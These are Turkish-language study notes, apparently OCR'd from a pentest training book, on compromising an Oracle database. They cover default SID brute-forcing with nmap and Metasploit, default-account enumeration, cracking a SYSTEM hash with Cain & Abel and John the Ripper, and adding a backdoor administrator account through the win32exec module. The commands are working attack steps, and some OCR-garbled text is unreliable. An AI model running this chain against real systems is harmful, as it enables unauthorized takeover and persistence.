ON BILGI
Bu belge
* https://www.slideshare.net/slideshow/pentest-eitimi-uygulama-kitab-bolum-7/60118531
resmi adresindeki veya linkin kirik olmasi ihtimaline kargin alternatif olarak
¢ https://www.includekarabuk.com/kitaplik/indirmeDeposu/
Siber_Guvenlik_Teknik Makaleler/Teori/BaskalarinaAitMakaleler/Veritaban

9%C4%B1%20S%C4%B1zma%?20Testleri.pdf

adresindeki makaleye calisilarak elde edilen notlarimi kapsamaktadir. Bu ¢ikarilan notlar belgemde
alintilar ve/veya kisisel ilavelerim mevcuttur.



1)

Bu belgede hedef sistemdeki veritabanina sizarak sistemi ele gecirmeye giden yol su dért asamada
gerceklestirilmigtir:

a. Ontanimh SID degerine sahip Oracle veritabanlarnin tespit edilmesi

b. Ontamml hesaplardan kapal ve acik olanlarin tespit edilmesi

c. Elde edilen 6ntaniml hesaplarin parola 6zetlerinin kirilmasi

d. Ele gecirilen veritaban1 yonetici hesabi iizerinden isletim sisteminin ele gegirilmesi
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2)

SID Nedir?
SID, yani System Identifier sistemde cesitli versiyonlar1 birarada bulunan veritabanlarin
birbirinden ayirt etmeye yarayan, bir nevi instance adini temsil eden degere SID denir.

http://serverfault.com/questions/49509/oracle-difference-between-sid-db-name-db-domain-global-
database-name-service

(Benim Not)

3)

Nmap ile Ontamiml SID Degerine Sahip Oracle Veritabanlarmn Tespiti

Nmap uygulamasinin kendi icerisinde barinan oracle-sid-brute script'i ile hedef sistemdeki
ontanimli SID degerleri tespit edilecektir (Tabi hedef sistemde SID degerlerini 6ntanimli halde
birakmissa...)

> nmap --script=oracle-sid-brute 192.168.1.23 -p 1521
Output:

Starting Nmap 6.01 ( hitp/nmap.org ) at 2014-08-31 15:49 EEST
Nmap scan report for 192.168.1.23

Host is up (0.0001 7s latency).

PORT STATE SERVICE

1521 tcp open oracle

| oracle-sid-brute:

| ORACLE

MAC Address: 00:0C:29:CC:F9:01 (VMwara)

MNmap done: 1 IP address (1 host up) scanned in 1.06 seconds

Goriildiigi tizere hedef sistemde bulunan oracle'a ait veritabanlarindan birisinin SID degerinin
ORACLE olarak varsayilanda birakildigi, yani 6ntamimh degerinin halen kullamilmakta oldugu
tespit edilebilmistir. Eger bu veritaninda bir de kullanicilar ve parolalar1 éntanimli degerlerinde
birakilmissa veritabani1 tamamen tehlikede demektir.



Bu yaptigimiz islemde Nmap araci belirttigimiz script'in icerisinde yer alan 6ntanimh SID
degerlerini sirayla hedef sistemde denemistir ve tutan1 sonug olarak ¢iktiya yansitmistir. Fakat
ontanimli SID degerleri iilkeden iilkeye degisiklik gostermektedir. Bu yiizden taramalarin daha
gercekci olabilmesi icin kendimize ait bir SID wordlist'imiz olmahdir. Simdi bir de SID wordlist'i
ile hedef sistemdeki 6ntanimli SID degerlerini tespit etmeye caligsalim.

> nmap --script=oracle-sid-brute --script-args=oraclesids=/root/Desktop/sid_wordlist.txt
192.168.1.23 -p 1521

Output:
Nmap scan report for 192.168.1.23

Host is up (0.00027s latency)

PORT STATE SERVICE

1521 /icp open oracle

| oracle-sid-brute:

L. ORACLE

MAC Address: 00:0C29:CC:F9:01 (VMware)

MNmap done: 1 IP address (1 host up) scanned in 0.90 seconds

Goriildiigii tizere yine éntamimli SID degeri olan ORACLE'In hedef sistemde oldugu gibi birakildig1
tespit edilmistir.
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4)
Metasploit ile Ontamimh SID Degerine Sahip Oracle Veritabanlarimin Tespiti

msf > use auxiliary/scanner/oracle/sid_brute
msf auxiliary(sid_brute) > show options

Output:
Module Options

Name Current Setting

BRUTEFORCE_SPEED 5

RHOSTS

RPORT 1521

SID

SID_FILE /opt/metasploti/msf3/data/wordlists/sid.txt
STOP_ON_SUCCESS false

THREADS 1

VERBOSE true

Goriildiigii tizere SID wordlist'i olarak metasploit kendindekini secili halde sunmustur. Bunu
dilersek degistirebilmekteyiz. Wordlist'i varsayilan ayarinda birakalim ve RHOSTS'a hedefimizin



IP'sini koyarak éntanimh SID tespit taramasina basglayalim.

msf auxiliary(sid_brute) > set RHOSTS 192.168.1.23
msf auxiliary(sid_brute) > run

Output:

msf_awdiary(sid_brute) > run

['] Checking 571 SIDs against 192.168.1.23:1521

[+] 192.168.1.23:1521 Oracle - 'ORACLE' is valid

[+] 192.168.1.23:1521 Oracle - 'CLREXTPROC' is valid
[*] Scanned 1 of 3 hosts (033% complete)

['] Checking 571 SIDs against 192.168.1.24:1521

[] 192.168.1.24:1521 Oracle - unable to connect to a TNS listener
[*] Scanned 2 of 3 hosts (066% complete)

[*] Checking 571 SIDs against 192.168.1.25:1521

[+] 192.168.1.25:1521 Oracle - 'PLSEXTPROC' is valid
[*] Scanned 3 of 3 hosts (100% complete)

['] Awdliary module execution completed

Goriildigii tizere 3 tane 6ntanimli SID degerinin hedef sistemde oldugu gibi birakildig: tespit
edilebilmistir.
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5)

Ontanimh Hesaplar Halen Aktif mi Degil mi Tespiti

Oracle veritabaninin SID'si tespit edildigine gore sirada veritabam kurulurken gelen 6ntanimli
kullanic1 hesaplarim tespit etmek vardir. Ontanimh kullanici adlan siiriimden siiriime farklilik
gostermekle beraber diyelim ki asagidaki wordlist'i kullanacagiz.

Bl
PM

S

X

OE

HR

SCOTT
MGMT_VIEW
MDDATA
SYSMAN
MDSYS
SI_INFORMTN_SCHEMA
ORDPLUGINS
ORDSYS
OLAPSYS
ANONYMOUS
XDB

CTXSYS
EXFSYS
WMSYS
DBSNMP
TSMSYS
DMSYS

DP

OUTLN
SYSTEM




Simdi yukaridaki kullanici adlarimi hedef sisteme sirasiyla Nmap ile deneyecegiz ve hangilerinin
giivenlik geregi kullanic1 tarafindan kitlendigini ¢ikt1 olarak gorecegiz. Ciktida yer almayan
kullanic1 adlar kitli degil anlamina gelecegi icin onlar bizim isimize yarayacaktir. Simdi Nmap ile
kitlenmis 6ntamimh hesaplar bir gérelim:

> nmap --script=oracle-brute --script-args=oracle-brute.sid=xporacle 192.168.1.25 -p 1521
Output:

Starting Nmap 6.01 ( http/nmap.org ) at 2014-08-31 21:26 EEST
Nmap scan report for 192.168.1.25

Host is up (0.00019s latency).

PORT STATE SERVICE

1521 tcp open oracle

| oracle-brute:

| Accounts

| CTXSYS.CHANGE_OM_INSTALL - Account is locked
| DIP:DIP - Account is locked

| DMSYS:DMSYS - Account is locked

| EXFSYS:EXFSYS - Account is locked

| HRHR - Account is locked

| MDDATA:MDDATA - Account is locked

| MDSYS:MDSYS - Account is locked

| OLAPSYSMANAGER - Account is locked
| ORDPLUGINS:ORDPLUGINS - Account is locked

| ORDSYS:ORDSYS - Account is locked

| OUTLN:OUTLN - Account is locked

| SH:SH - Account is locked

| SYSTEM:WELCOME1 - Account is locked

| WMSYSWMSYS - Account is locked

| XDB:CHANGE_OMN_NSTALL - Account is locked

| Statistics

| Performed 695 guesses in 8 seconds, average tps: 86
MAC Address: 00:0C:29:C3:3B:62 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.00 seconds

Goriildiigii tizere “Account is locked” ibaresi ile kitli olan hesaplar belirtilmistir. Wordlist'te geriye
kalanlar ise sizma islemi i¢in miisait durumda olanlardir. Béylece hedef veritabaninda halen aktif
olan kullanic1 hesaplarini tespit etmis oluruz. Daha spesifik belirtmek gerekirse, hedef veritabaninda
oturum acilabilecek hesaplarin “kullanici adlarini” tespit etmis bulunmaktayiz.
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6)

Elde Edilen Parola Ozetlerinin Kirilmasi

Oracle kullanicilarina ait parolalar sistemde plain text seklinde tutulmamaktadir. Belirli
algoritmalarla sifrelenmis (hash'lenmis) sekilde tutulmaktadirlar. Dolayisiyla esas parolay: elde
edebilmek icin Cain & Abel ya da John The Ripper gibi yazilimlar kullanmamiz gerekir.



Benim NOT: Kullanic1 adlarini tespit ettik, ama hash'leri nasil tespit ettik de simdi onlar1 kirma
islemine baslayabiliyoruz? PDF bu konuda eksik kalmis.

Diyelim ki kullanici ad1 ve sifre su olsun:

KULLANIKCI ADI | PAROLA HASH DEGERI
SYSTEM 2D594EB6F93B17A1

Simdi bu hash'i hem Cain & Abel ile hem de JTR ile kiralim.
a. Cain & Abel ile Hash Kirma // Denendi, ama sifre kiritlamadi (!)

Cain & Abel baglatilir. Cracker sekmesine tiklanilir ve sol mentideki Oracle Hashes(0)
elemanina tiklanilir.
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Ardindan ekrana gelen bos tabloya sag tiklanilir ve Add to List yapilir.
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File View Configure Tools Help
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~md MD2 Hashes (0)
.md WD4 Hashes (0}
-md MD5 Hashes (0}
SR SHA-1 Hashes (0]
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Dictionary Attack >
Brute-Force Attack >

Select All

Test password

Remove All >




Daha sonra username olarak SYSTEM, sifre olarak da 2D594E86F93B17A1 girilir.
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[& Decoders | ¥ Network [E Sniffer [&f Cracker [0 Traceroute [HH COU ['@7 Wireless [ B Query |
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-md MD2 Hashes (0)
.14 MD4 Hashes (0) Add Oracle Hashes X
.14 MD5 Hashes (0)
.58 SHA-1 Hashes (0) * Insert the hash manuslly
S8 SHA2 Hashes (0) Usemame Hash
- RIPEMD-160 Hask SYSTEM 2DG34EB6F3B 1741
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OK diyerek bos tabloya kirilacak bu sifre eklenir. Ardindan eklenen satira sag tiklanilir ve
Dictionary Attack -> MixCase Hashes sekmesine tiklanilir.
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md D5 Hashes (0) Brute-Force Attack > MixCase Hashes
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&, RIPEMD-160 Hast Select All
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(T Oracle Hashes (1
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Test password

Remove Delete

Sozliik eklemek icin acilan ekrandaki iist tabloya sag tiklanilir ve Add to List denir.

= Dictionary Attack x J
[=[=]=]
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| | |Fie Position I
@yl H
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-7 Oracle Hashes (1; 1 hashes of type Oracle (MizCase) loaded
) Oracle TNS Hashe Press the Start button to begin dictiomary attack
..... % SIP Hashes (0)
..... 4" 802.11 Captures ({
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v
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Daha sonra haziralanan wordlist dosyasi secilir ve OK denir.
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>
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Yukarida goriildiigii tizere oracle_wordlist.txt dosyasi secilmistir.
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- Zh MySQL Hashes (0
‘%) Oracle Hashes (1. 1 hashes of type Oracle (MizCase) loaded. ..
-4 Oracle TNS Hashe Press the Start button to begin dictionary attack
7 SIP Hashes (0)
14" 80211 Captures (
') WPA-PSK Hashes
g WPA-PSK Auth (0
<5 CHAP Hashes (0) P

< 5> |Bn_om
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"1 MD4 Hashes (0) Key Ral ‘ Dption

Simdi yukarida goziiken ekrandaki START butonuna basilarak sozliik saldiris1 baslatilir.
Sifre kirldiginda wordlist’in gosterildigi satira tick konackatir.

AR LEBRY $v v L DEmEaDus O I

& P e
L T —— T
g o 1w
g P I
e et

©

Poarme PRLTWTPL  DROWTLAR

Dade Faw Podf e

e s PRLVACP et

T e

& e wd g P L W
Came pmors T phan pu. Fols Pl

W T e et Dose Pl PacTy

tateram Fotir
T bt et bt
[ Pkl
L.

§ WL et Lo g

- [Fisiatout of weer STSTEN is CBACLIE |
TTTET TTreeT

aprarn M1 hashas creched

§ AVA A mates T

¥ s P

= (P suabers,

M gt 8




Yukaridaki pencerenin alt tarafinda yer alan textarea'da ise kirilan sifre gosterilecektir:
Plaintext of user SYSTEM is ORACLE

Boylece sifrenin ORACLE oldugunu tespit etmis olacagiz.

b. John The Ripper ile Hash Kirma

Oracle 11 6ncesi hash'ler igin;

> john --format=oracle --wordlist=/root/Desktop/rockyou.txt hash.txt
Oracle 11 ve sonrasi hash'ler i¢in;

> john --format=oracle11 --wordlist=/root/Desktop/rockyou.txt hash.txt
Cikt1 soyle olacaktir:

Loaded 1 password hash (Oracle 10 DES [32/64])

Remaining 1 password hash

ORACLE (?)

guesses: 1 time: 0:00:00:00 DONE (Thu Sep 4 18:05:51 2014) ¢/s:638850

Goriildigii tizere sifrenin ORACLE oldugu tespit edilebilmistir.
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7)

Ele Gegirilen Veritabam Hesab1 Uzerinden Isletim Sistemini Ele Gegirme

Oracle veritabaninda bulunan kullanicilarin dolayh yoldan isletim sistemi {izerinde komut ¢alistirma
yetkileri vardir. Simdi sifresini kirdigimiz kullanicinin hesabini kullanarak metasploit'in win32exec
auxiliary'si ile hedef sistem {izerinde CMD komutu caligtiralim.

msf > use auxiliary/admin/oracle/post_exploitation/win32exec
msf auxiliary(win32exec) > show options

Module Options

Name Current Required Description

CMD ipconfig no The OS command to execute
DBPASS ORACLE yes The password

DBUSER SYSTEM yes The username

RHOST 192.168.1.23 yes The Oracle Host

RPORT 1521 yes The DB Port

SID ORACLE yes The SID of DB



Hedef veritabaninin barindig: igletim sisteminde bir backdoor olusturmak icin yeni bir kullanici
ekleyelim. Bunun i¢in modiiliin CMD parametresine asagidaki girilir:

msf auxiliary(win32exec) > set CMD "net user bga bga /add"
msf auxiilary(win32exec) > run

Boylece hedef veritabani iizerinden hedef isletim sisteminde bga username'li ve bga sifreli bir
kullanici olusturmus olduk. Bu ekledigimiz kullaniciy1 Windows sistemlerinin en yetkili kullanici
grubuna eklemek icin asagidaki CMD komutu CMD parametresine set edilmelidir.

msf auxiliary(win32exec) > set CMD "localgroup administrators bga /add"
msf auxiilary(win32exec) > run

Boylece Oracle veritabaninin agigindan faydalanarak hedef isletim sistemini ele gecirmis olduk.

Buraya kadar ki islemleri 6zetleyecek olursak énce hedef veritabanin SID degerini wordlist ile
tespit ettik. Ardindan hedef veritabaninda 6ntanimli username'lerin hangilerinin kitli olmadigni,
yani hangisinin aktif oldugunu yine bir wordlist ile tespit ettik. Daha sonra tespit ettigimiz 6ntaniml
hesaplardan birinin parola 6zetini kirdik ve sifresini plain text formatinda elde ettik. En sonunda ise
metasploit'teki bir modiiliin parametrelerine elde ettigimiz SID degerini, username'i, password'i,
IP'yi, Port numarasini ve calistirmak istedigimiz sistem komutunu girerek hedef isletim sistemini
ele gecimis olduk.
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